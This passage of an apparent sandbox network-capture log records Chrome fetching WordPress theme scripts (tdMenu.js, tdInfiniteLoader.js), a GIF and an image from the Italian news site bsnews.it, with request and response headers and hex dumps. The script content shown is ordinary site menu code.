ba a9 fd 54 49 5f 2e 15 78 88 94 96 6a 0f 75 8d 79 7a f0 f3 18 85 45 59 4a da c5 8f 77 55 ff 29 e0 90 f9 22 5f ea d0 02 8e Data Ascii: WI4c]g1Vz66(faZY)W)gMO{:!(ysU_E9Lu(p4\|rlutXaOrgPKt~.&]OA6/69,~7qeRs[:L-p4\|0MH[iyXBFHRnn=TI_.xjuyzEYJwU)"_
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: ea 65 40 cb 0f 78 ac 36 ce 9d d2 5f 20 3f 04 e1 68 91 36 a7 bb a5 96 90 10 08 a0 09 ef 31 49 77 82 3b 0d ca 35 e5 25 23 e3 b6 3d 01 68 45 1c a1 e1 76 f5 6c cb b0 a1 87 e2 4b dd 31 d5 15 01 df cf 01 9a c1 75 09 c2 de e9 b2 d7 89 07 bc b3 6f 36 a2 18 b2 22 d9 88 a1 7d 4c bf 5b 5e bd 8c a4 8e e3 28 44 9a fb 47 73 9c d2 eb e6 2d 2c c9 c4 cf 9e f7 53 a1 02 d6 8d 6e c4 cf 46 f8 4d df 4b 9f 1f 54 26 7d 63 87 03 5c 42 e1 29 92 28 22 2c 0f 9d 31 b7 6e 26 72 5b ac e8 bd 58 ed 39 f5 2e bc ec 7a 19 80 78 96 d0 22 91 28 27 e4 b3 94 57 1c 86 8e 00 70 7d a6 b2 da 2b 9c c6 6e b1 0f 8c 6a d5 ab c8 7d b3 94 b2 ce 85 5b a4 20 c4 58 c3 46 30 e2 71 7c 98 78 d5 4c 68 ae 7d 81 83 d7 ca d1 99 64 aa 6c 1f 10 78 e4 1c f6 9b e5 dc 99 6e 9f bb bb 19 b6 02 e0 21 0c 16 20 e8 9a 55 dd Data Ascii: e@x6_ ?h61Iw;5%#=hEvlK1uo6"}L[^(DGs-,SnFMKT&}c\B)(",1n&r[X9.zx"('Wp}+nj}[ XF0q\|xLh}dlxn! U
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: c2 a3 03 75 3b eb e5 2a 42 7e 79 66 b1 07 32 fc b8 83 cf 22 da 58 40 9d c6 00 13 a6 d6 ec 89 c7 5c a5 64 a4 b3 f5 ac 56 50 72 26 59 f8 be a6 14 0c c9 9e 89 ae b8 6a 4a 30 f0 a2 60 7e d8 d7 85 a5 54 85 cd 42 91 9a a6 72 3e 22 15 8d e4 d6 17 df 90 24 4a b5 f5 7f a8 97 3a a4 18 bb 72 f2 e9 9e 5d b9 1f 0f 6d eb 33 65 e1 36 fd d4 b1 81 ed a9 54 da a5 5f 5a 6c a2 2b 3d 2e 22 89 20 d2 dc 9b 6f 99 4c 4f 4d 91 d6 9c 08 5e 81 37 e0 3b e9 4c a4 b3 cb 3f d4 00 0b a9 21 37 9e 43 9c 05 26 09 af e3 2f 91 d3 07 38 65 b8 90 a6 e0 8b 84 52 76 c8 01 07 48 0f 87 2d 4a 80 e1 8f aa 54 b5 8f 0e 49 6c ff db 56 cf 23 f4 4c 24 d2 08 57 27 ea 8d 15 12 f0 4c 58 0d d3 e7 32 b8 9c b7 47 ec cc bf ef b5 c2 4c a2 84 87 e3 d6 cf 89 44 ba c0 ff d8 2e bf 10 3e 58 01 f7 2a 51 3d 57 d2 09 72 Data Ascii: u;B~yf2"X@\dVPr&YjJ0`~TBr>"$J:r]m3e6T_Zl+=." oLOM^7;L?!7C&/8eRvH-JTIlV#L$W'LX2GLD.>XQ=Wr
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 16 43 60 40 98 3a 03 24 c1 0d de df e3 b1 ae 79 64 a8 d0 b4 cf 33 3f ce 5a bf df cf 36 14 5e 2c 55 e7 34 cb 43 39 a3 f2 42 75 79 38 f7 41 f8 78 75 94 7b 60 ab f7 14 f5 b0 39 cd fc dd d5 8d 47 21 2a 64 e3 0e 35 38 21 bb 9c 9f a6 26 24 61 01 5d 4f 6e 2f e6 ca 10 c9 5f 2f 25 60 88 7a 60 93 fa 7c f9 04 7a ee 28 97 3e 14 0d ee 5b b3 dc 5b 67 bd d9 90 19 4c be c2 46 dd 1b b6 a5 fd 11 7c 50 6c ae 28 fc ee 6f 4f 67 43 d2 55 2a 89 c5 ab 4f 50 1d ee 7e 82 4c 8c 3d 60 3b 33 2c 45 ee fc 16 d8 3e 89 7c 08 e3 56 1f ed 55 22 e0 d4 50 2f 18 dc 60 06 18 67 44 d3 72 de 02 9b 0e 1c f1 c1 bc da bb b9 59 80 ff a9 d4 9c 18 aa b9 e1 cd 20 d2 04 4d 70 5c a0 4e f9 df a1 39 2c 0e de d4 ba e2 d4 53 e6 b8 32 03 d1 4f 41 c4 16 d9 c2 c0 36 9b f0 6f 82 f7 e1 1b f3 b6 a7 8e 7d 74 d6 be Data Ascii: C`@:$yd3?Z6^,U4C9Buy8Axu{`9G!d58!&$a]On/_/%`z`\|z(>[[gLF\|Pl(oOgCUOP~L=`;3,E>\|VU"P/`gDrY Mp\N9,S2OA6o}t
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 69 5e 0d db 9c b9 e1 6a f9 c1 96 23 fd f4 39 36 8a c5 43 97 4c f5 d7 39 26 04 d5 7e 85 b6 ac 4a 0a c3 40 d5 85 8e 14 0a b1 ee 5e 2e 10 a0 df c5 36 e0 cd 7d 23 70 08 90 fd 50 08 80 33 49 f2 37 90 f7 0d a2 b6 bb df 2d bd e4 09 0f 84 a0 8c 81 48 a1 95 86 05 b6 2f 57 23 18 a4 18 55 2d cf 22 5d f9 54 81 40 b1 b9 c6 3c 2e 35 b3 03 0e 87 0f 50 26 57 d2 86 67 45 27 dd eb 46 53 f1 e2 74 82 de a7 33 65 e2 48 a5 4b 69 b2 48 3a 95 b3 0d fb 90 09 2a 58 88 b3 36 2e fe e6 9c e3 69 21 3c 0f 8d a9 94 d0 50 71 eb bd 11 4c 70 55 a7 21 c6 3c a1 8d fb e2 05 db 3c 54 8f 61 42 e3 75 05 c2 db 02 12 2e 40 24 ff 42 19 1e 1f 5b da 0f 46 78 60 fa c5 87 71 be b8 31 37 d9 79 58 56 e4 9a 33 30 45 07 42 30 8e 1b d3 12 bf 04 47 0f ae a7 4d 55 35 78 09 d9 6a 97 71 1b 05 a4 ca 22 26 b9 4d Data Ascii: i^j#96CL9&~J@^.6}#pP3I7-H/W#U-"]T@<.5P&WgE'FSt3eHKiH:*X6.i!<PqLpU!<<TaBu.@$B[Fx`q17yXV30EB0GMU5xjq"&M
2024-03-28 08:51:04 UTC	1273	IN	Data Raw: 42 e5 54 0f af f6 72 1b 94 38 f9 43 a9 cb 08 b3 9f 21 42 cf 66 ee 4a 4e 1c 14 fe f2 42 e2 3b 7c 89 8c df 24 a6 f3 9e f9 23 6f 54 da a6 98 ac 41 f7 11 d8 d5 9d 8e 70 0f fd 28 15 41 a9 96 61 aa 47 70 ee 6a d1 ca b6 cc 59 9d 1c 57 4b 26 84 4b cd 63 dd ca d7 aa e9 51 30 2c da c7 f6 ae 0f 21 51 77 77 1c 86 4b f4 bc 6e 1f fc fd 74 9d c3 72 6f 7c 6e f6 dc 6e e9 19 5e 7c 3e 79 f8 f3 16 dc e5 f6 be be eb 9c ac 8d 60 48 86 da 2a 81 d9 ef 1d e3 a0 e3 40 c4 e3 cd 94 bc 40 a4 c2 4b 84 fe 7f cd b0 74 5b 61 ae 31 78 38 56 7b f2 d7 9f 64 c9 36 9c d5 e0 06 bf 15 a9 cd 8a 4e b1 38 34 da 4b a3 81 d1 51 cb 8e 5c 4d cc 3c 35 00 10 b3 dc c9 1f a4 d1 99 fb e6 35 6b a9 5a 97 75 42 1e 9b 34 2f a0 e2 af 9e 87 05 0b 2c f8 1a 60 62 0c 58 b9 9d bf 45 13 67 2d 6b 2a 61 13 0b 7c ff 40 Data Ascii: BTr8C!BfJNB;\|$#oTAp(AaGpjYWK&KcQ0,!QwwKntro\|nn^\|>y`H@@Kt[a1x8V{d6N84KQ\M<55kZuB4/,`bXEg-ka\|@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49811	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	744	OUT	GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdMenu.js?ver=12.6.5 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863
2024-03-28 08:51:04 UTC	744	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:04 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=4530 etag: W/"65f20638-11b2" last-modified: Wed, 13 Mar 2024 20:02:00 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3340 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RQjSUKvx1yq8L%2FLVOUZ%2FtkFvaVbmomHca54%2BXSSVe%2FI9uBXQvOnVHN19TQ9FziCwIEMTQ200sHD2KMno9mwXoD%2BfFsq8wrtqcW2HD2OxtXcoiQ31q0oqDi8Eehk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6604e4ebb3ad8-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:04 UTC	625	IN	Data Raw: 31 31 61 38 0d 0a 76 61 72 20 74 64 4d 65 6e 75 3d 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 64 4d 65 6e 75 3d 7b 5f 69 74 65 6d 73 57 69 74 68 53 75 62 6d 65 6e 75 3a 6e 75 6c 6c 2c 5f 6d 61 69 6e 4d 65 6e 75 3a 6e 75 6c 6c 2c 5f 6f 75 74 73 69 64 65 43 6c 69 63 6b 41 72 65 61 3a 6e 75 6c 6c 2c 5f 6f 75 74 73 69 64 65 43 6c 69 63 6b 45 78 63 6c 75 64 65 64 41 72 65 61 73 3a 22 23 74 64 2d 68 65 61 64 65 72 2d 6d 65 6e 75 20 2e 73 66 2d 6d 65 6e 75 2c 20 23 74 64 2d 68 65 61 64 65 72 2d 6d 65 6e 75 20 2e 73 66 2d 6d 65 6e 75 20 2a 2c 20 2e 6d 65 6e 75 2d 74 6f 70 2d 63 6f 6e 74 61 69 6e 65 72 2c 20 2e 6d 65 6e 75 2d 74 6f 70 2d 63 6f 6e 74 61 69 6e 65 72 20 2a 22 2c 5f 6f 70 65 6e 4d 65 6e 75 43 6c 61 73 73 3a 22 73 66 48 6f 76 65 72 22 2c 5f 6f 70 Data Ascii: 11a8var tdMenu={};(function(){tdMenu={_itemsWithSubmenu:null,_mainMenu:null,_outsideClickArea:null,_outsideClickExcludedAreas:"#td-header-menu .sf-menu, #td-header-menu .sf-menu , .menu-top-container, .menu-top-container ",_openMenuClass:"sfHover",_op
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 75 6c 22 29 2e 66 69 72 73 74 28 29 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 2c 22 6e 6f 6e 65 22 29 3b 74 64 4d 65 6e 75 2e 5f 6d 61 69 6e 4d 65 6e 75 3d 63 3b 74 64 4d 65 6e 75 2e 5f 69 74 65 6d 73 57 69 74 68 53 75 62 6d 65 6e 75 3d 62 3b 74 64 4d 65 6e 75 2e 5f 6f 75 74 73 69 64 65 43 6c 69 63 6b 41 72 65 61 3d 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 6e 6f 74 28 74 64 4d 65 6e 75 2e 5f 6f 75 74 73 69 64 65 43 6c 69 63 6b 45 78 63 6c 75 64 65 64 41 72 65 61 73 29 3b 74 64 4d 65 6e 75 2e 5f 73 65 74 48 6f 76 65 72 28 62 2c 63 29 7d 2c 5f 67 65 74 53 75 62 6d 65 6e 75 50 6f 73 69 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 65 3d 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 77 69 64 74 68 28 29 3b 63 3d 63 2e 63 68 69 6c 64 72 65 Data Ascii: ul").first().css("display","none");tdMenu._mainMenu=c;tdMenu._itemsWithSubmenu=b;tdMenu._outsideClickArea=jQuery(window).not(tdMenu._outsideClickExcludedAreas);tdMenu._setHover(b,c)},_getSubmenuPosition:function(c){var e=jQuery(window).width();c=c.childre
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 61 73 73 28 22 74 6f 70 2d 68 65 61 64 65 72 2d 6d 65 6e 75 22 29 3f 28 63 2e 70 61 72 65 6e 74 28 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 74 64 4d 65 6e 75 2e 5f 6f 70 65 6e 4d 65 6e 75 43 6c 61 73 73 29 2c 63 2e 70 61 72 65 6e 74 28 29 2e 63 68 69 6c 64 72 65 6e 28 22 75 6c 22 29 2e 68 69 64 65 28 29 29 3a 28 62 3d 61 2e 73 69 62 6c 69 6e 67 73 28 29 2c 62 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 74 64 4d 65 6e 75 2e 5f 6f 70 65 6e 4d 65 6e 75 43 6c 61 73 73 29 2c 62 2e 66 69 6e 64 28 22 75 6c 22 29 2e 68 69 64 65 28 29 2c 62 2e 66 69 6e 64 28 22 6c 69 22 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 74 64 4d 65 6e 75 2e 5f 6f 70 65 6e 4d 65 6e 75 43 6c 61 73 73 29 29 2c 61 2e 61 64 64 43 6c 61 73 73 28 74 64 4d 65 6e 75 2e 5f 6f 70 65 6e 4d 65 6e 75 43 6c Data Ascii: ass("top-header-menu")?(c.parent().removeClass(tdMenu._openMenuClass),c.parent().children("ul").hide()):(b=a.siblings(),b.removeClass(tdMenu._openMenuClass),b.find("ul").hide(),b.find("li").removeClass(tdMenu._openMenuClass)),a.addClass(tdMenu._openMenuCl
2024-03-28 08:51:04 UTC	1165	IN	Data Raw: 6d 6f 76 65 43 6c 61 73 73 28 74 64 4d 65 6e 75 2e 5f 6f 70 65 6e 4d 65 6e 75 43 6c 61 73 73 29 2c 64 2e 66 69 6e 64 28 22 75 6c 22 29 2e 68 69 64 65 28 29 2c 64 2e 66 69 6e 64 28 22 6c 69 22 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 74 64 4d 65 6e 75 2e 5f 6f 70 65 6e 4d 65 6e 75 43 6c 61 73 73 29 2c 61 2e 61 64 64 43 6c 61 73 73 28 74 64 4d 65 6e 75 2e 5f 6f 70 65 6e 4d 65 6e 75 43 6c 61 73 73 29 2c 61 2e 63 68 69 6c 64 72 65 6e 28 22 75 6c 22 29 2e 73 68 6f 77 28 29 2c 74 64 4d 65 6e 75 2e 5f 67 65 74 53 75 62 6d 65 6e 75 50 6f 73 69 74 69 6f 6e 28 61 29 3b 65 6c 73 65 20 61 2e 70 61 72 65 6e 74 28 29 2e 68 61 73 43 6c 61 73 73 28 22 73 66 2d 6d 65 6e 75 22 29 7c 7c 61 2e 70 61 72 65 6e 74 28 29 2e 68 61 73 43 6c 61 73 73 28 22 74 6f 70 2d 68 65 61 64 Data Ascii: moveClass(tdMenu._openMenuClass),d.find("ul").hide(),d.find("li").removeClass(tdMenu._openMenuClass),a.addClass(tdMenu._openMenuClass),a.children("ul").show(),tdMenu._getSubmenuPosition(a);else a.parent().hasClass("sf-menu")\|\|a.parent().hasClass("top-head
2024-03-28 08:51:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49809	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	754	OUT	GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdInfiniteLoader.js?ver=12.6.5 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863
2024-03-28 08:51:04 UTC	741	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:04 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=1874 etag: W/"65f20638-752" last-modified: Wed, 13 Mar 2024 20:02:00 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 5195 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AHbegDeo1YZ7q8%2F0OIwDibd%2BpP3Qyueujri7IHRUDTilNsbXzlVivmz1R2ykxhLFdtElT%2BiJT7S7IoqTUJsjcD90WOV7nQ0T4T%2Bqx5RknMsKuvZMTluUkZzKzBk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6604e5dc607e4-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:04 UTC	628	IN	Data Raw: 37 34 64 0d 0a 76 61 72 20 74 64 49 6e 66 69 6e 69 74 65 4c 6f 61 64 65 72 3d 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 64 49 6e 66 69 6e 69 74 65 4c 6f 61 64 65 72 3d 7b 68 61 73 49 74 65 6d 73 3a 21 31 2c 69 74 65 6d 73 3a 5b 5d 2c 69 74 65 6d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6a 71 75 65 72 79 4f 62 6a 3d 74 68 69 73 2e 75 69 64 3d 22 22 3b 74 68 69 73 2e 62 6f 74 74 6f 6d 54 6f 70 3d 30 3b 74 68 69 73 2e 69 73 56 69 73 69 62 6c 65 43 61 6c 6c 62 61 63 6b 45 6e 61 62 6c 65 64 3d 21 30 3b 74 68 69 73 2e 69 73 56 69 73 69 62 6c 65 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 7d 2c 61 64 64 49 74 65 6d 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 74 64 49 6e 66 69 6e 69 74 65 4c 6f 61 64 65 72 2e 68 61 73 49 74 65 6d 73 Data Ascii: 74dvar tdInfiniteLoader={};(function(){tdInfiniteLoader={hasItems:!1,items:[],item:function(){this.jqueryObj=this.uid="";this.bottomTop=0;this.isVisibleCallbackEnabled=!0;this.isVisibleCallback=function(){}},addItem:function(b){tdInfiniteLoader.hasItems
2024-03-28 08:51:04 UTC	1248	IN	Data Raw: 49 74 65 6d 73 29 7b 76 61 72 20 62 3d 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 68 65 69 67 68 74 28 29 2b 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 3b 6a 51 75 65 72 79 2e 65 61 63 68 28 74 64 49 6e 66 69 6e 69 74 65 4c 6f 61 64 65 72 2e 69 74 65 6d 73 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 74 64 49 6e 66 69 6e 69 74 65 4c 6f 61 64 65 72 2e 69 74 65 6d 73 5b 61 5d 2e 62 6f 74 74 6f 6d 54 6f 70 3c 62 2b 37 30 30 26 26 21 30 3d 3d 3d 74 64 49 6e 66 69 6e 69 74 65 4c 6f 61 64 65 72 2e 69 74 65 6d 73 5b 61 5d 2e 69 73 56 69 73 69 62 6c 65 43 61 6c 6c 62 61 63 6b 45 6e 61 62 6c 65 64 26 26 28 74 64 49 6e 66 69 6e 69 74 65 4c 6f 61 64 65 72 2e 69 74 65 6d 73 5b 61 5d 2e 69 73 56 69 73 69 62 6c 65 43 61 6c 6c 62 61 Data Ascii: Items){var b=jQuery(window).height()+jQuery(window).scrollTop();jQuery.each(tdInfiniteLoader.items,function(a,c){tdInfiniteLoader.items[a].bottomTop<b+700&&!0===tdInfiniteLoader.items[a].isVisibleCallbackEnabled&&(tdInfiniteLoader.items[a].isVisibleCallba
2024-03-28 08:51:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49810	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	779	OUT	GET /wp-content/plugins/wp-polls/images/loading.gif HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863
2024-03-28 08:51:04 UTC	686	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:04 GMT Content-Type: image/gif Content-Length: 771 Connection: close last-modified: Thu, 10 Aug 2023 01:54:57 GMT etag: "64d44371-303" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=benW4Zp9x0Ppl%2BBwAWwyux863OkMzETJjAGCCRk%2FBY%2Bcd36DdIa76zFBZrXcvWDRiAWLw5c549%2BoeTuEXiHN2Z1Bm8UHmBKApl4lI6Q3gvyZ8aZA82Rl7dOzxrk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6604e5b4c593d-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:04 UTC	683	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 b3 0c 00 aa a8 a0 91 8e 86 9d 9b 93 b7 b5 ad 9d 9b 92 b7 b5 ac 90 8f 86 aa a8 9f c3 c1 b9 d0 ce c5 77 75 6c 84 82 79 ff ff ff 00 00 00 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 05 00 00 0c 00 2c 00 00 00 00 10 00 10 00 00 04 4f 90 c9 c9 8c a1 98 06 7b b3 14 04 b3 59 cc b2 60 02 18 92 a6 49 a5 44 38 b5 e7 2b 53 ee 04 00 de a4 28 8c 83 f0 d0 fb fd 86 44 8f 11 28 ec 49 7e 94 c2 20 93 48 60 0a d2 e9 a4 5a 8d 66 19 08 04 83 6b 8d 4e c3 e1 71 d9 83 16 3b 27 e9 4c 04 00 21 f9 04 05 00 00 0c 00 2c 00 00 00 00 10 00 10 00 00 04 4e 90 c9 c9 04 a1 98 0a 7b b3 04 40 c5 31 86 81 1d e8 51 5d 41 69 4e a9 3a b5 e5 29 53 f5 54 0c de b4 2c 8c c2 8e e7 f9 fd 84 03 62 c6 08 dc f5 24 3f 0a 02 91 51 28 30 Data Ascii: GIF89awuly!NETSCAPE2.0!,O{Y`ID8+S(D(I~ H`ZfkNq;'L!,N{@1Q]AiN:)ST,b$?Q(0
2024-03-28 08:51:04 UTC	88	IN	Data Raw: 00 00 10 00 10 00 00 04 4d 90 c9 c9 94 a2 98 5a 9b e7 5a d5 c6 24 09 f6 7d e1 48 96 de 49 ad 6c 9b 91 94 61 74 13 82 30 b6 8d eb ba de ad 03 dc 05 02 38 89 8e 42 20 64 06 03 4c b3 49 81 42 29 82 ac 80 71 38 30 0a e0 02 26 cb 00 74 bd e0 a4 b9 9b a4 b0 33 11 00 3b Data Ascii: MZZ$}HIlat08B dLIB)q80&t3;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49813	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	653	OUT	GET /bsnews.it/wp-content/uploads/2024/03/photo_6051118783147393837_y.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:04 UTC	586	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:04 GMT Content-Type: image/webp Content-Length: 11174 Connection: close Last-Modified: Sun, 24 Mar 2024 12:47:16 GMT Expires: Wed, 25 Mar 2026 00:47:16 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/photo_6051118783147393837_y.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "1033f1124e0cd746" Vary: Accept X-nc: HIT dca 8 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:04 UTC	783	IN	Data Raw: 52 49 46 46 9e 2b 00 00 57 45 42 50 56 50 38 20 92 2b 00 00 b0 9f 00 9d 01 2a 44 01 a0 00 3e 95 3e 97 48 a5 a3 22 21 2e d7 1c 70 b0 12 89 65 00 c7 a6 8f dd fe f0 5f 2f ce f9 19 e4 d9 e2 59 df fe 65 e4 4e 87 bb 1b 8b 4c ce 3c e2 77 e7 1f 67 f2 9d b8 3d a3 fc 78 f5 af fd d7 7c bc 02 31 57 b2 58 05 77 71 fe a7 9b bf c2 7a 81 79 85 df e9 f9 7f fc 7e c0 9f a5 bd 64 3b eb ff 03 ff 8f d8 5b fb 5f fb ce ba a4 5a 94 c4 c9 52 87 98 0f 5d f5 95 6b 4a 06 84 02 9f 00 c8 7b 9f dc fe b6 87 5b 1c c5 ee ef 84 7d 52 98 d3 d3 b8 61 9a 4e fb 88 7c 53 2b f1 47 fd 4c eb 75 9f 0f 98 5f 34 0c 6b 78 a7 a9 98 52 73 8b dc 38 dc 92 44 ae 39 e8 40 f4 69 fe 2b 21 ad f6 d5 62 9d 6e 46 a4 d1 97 b8 24 ef 14 4a e1 36 bf fe 1e 49 74 1d 72 42 bb 03 ef a0 f2 0d 49 ee 27 fc ba 20 03 c6 d3 95 Data Ascii: RIFF+WEBPVP8 +*D>>H"!.pe_/YeNL<wg=x\|1WXwqzy~d;[_ZR]kJ{[}RaN\|S+GLu_4kxRs8D9@i+!bnF$J6ItrBI'
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 60 d3 a5 8b 68 20 d3 c8 5a 20 aa a1 14 6f 20 17 58 71 0f 32 ca 8a 46 9e 1a 8d 25 df 6c 6f fd 91 ee a1 aa e3 fb 97 f9 b9 9e 6a df 2c 71 dc c6 a6 ab ef 43 68 45 0e 25 ef 9a 82 36 55 4d 52 c3 98 b8 35 d5 8b c2 6d c5 ed 39 2f f7 30 0e 5b 55 43 6f a4 c7 59 ca d9 5b 89 c5 2f 6b e3 8d 89 ea 0c f7 50 c1 e9 75 57 cc bf b7 ca 79 f6 8d 34 5f 87 f5 13 db cd e4 82 65 30 b8 a8 e0 4d 31 df 5c 13 6d 23 ac d4 21 44 b4 66 ae 0f ac 22 8a 50 1b da 0c 8a 83 8f e1 c2 db cc be 37 bb 6b c0 15 80 97 ff f9 b1 71 f5 83 da 61 8e 8f 0f a7 7e f8 a7 bb 81 ae bd 5c a2 3d 26 14 c8 7c cc 25 c7 8c 35 5c b4 77 a7 96 3f 39 21 f5 1f e2 92 ed e5 8d 52 9d 68 51 b0 52 22 ab 35 4b 4d 74 db 7f 20 3a 45 f8 c0 68 5b 91 4a 71 81 a5 7c 22 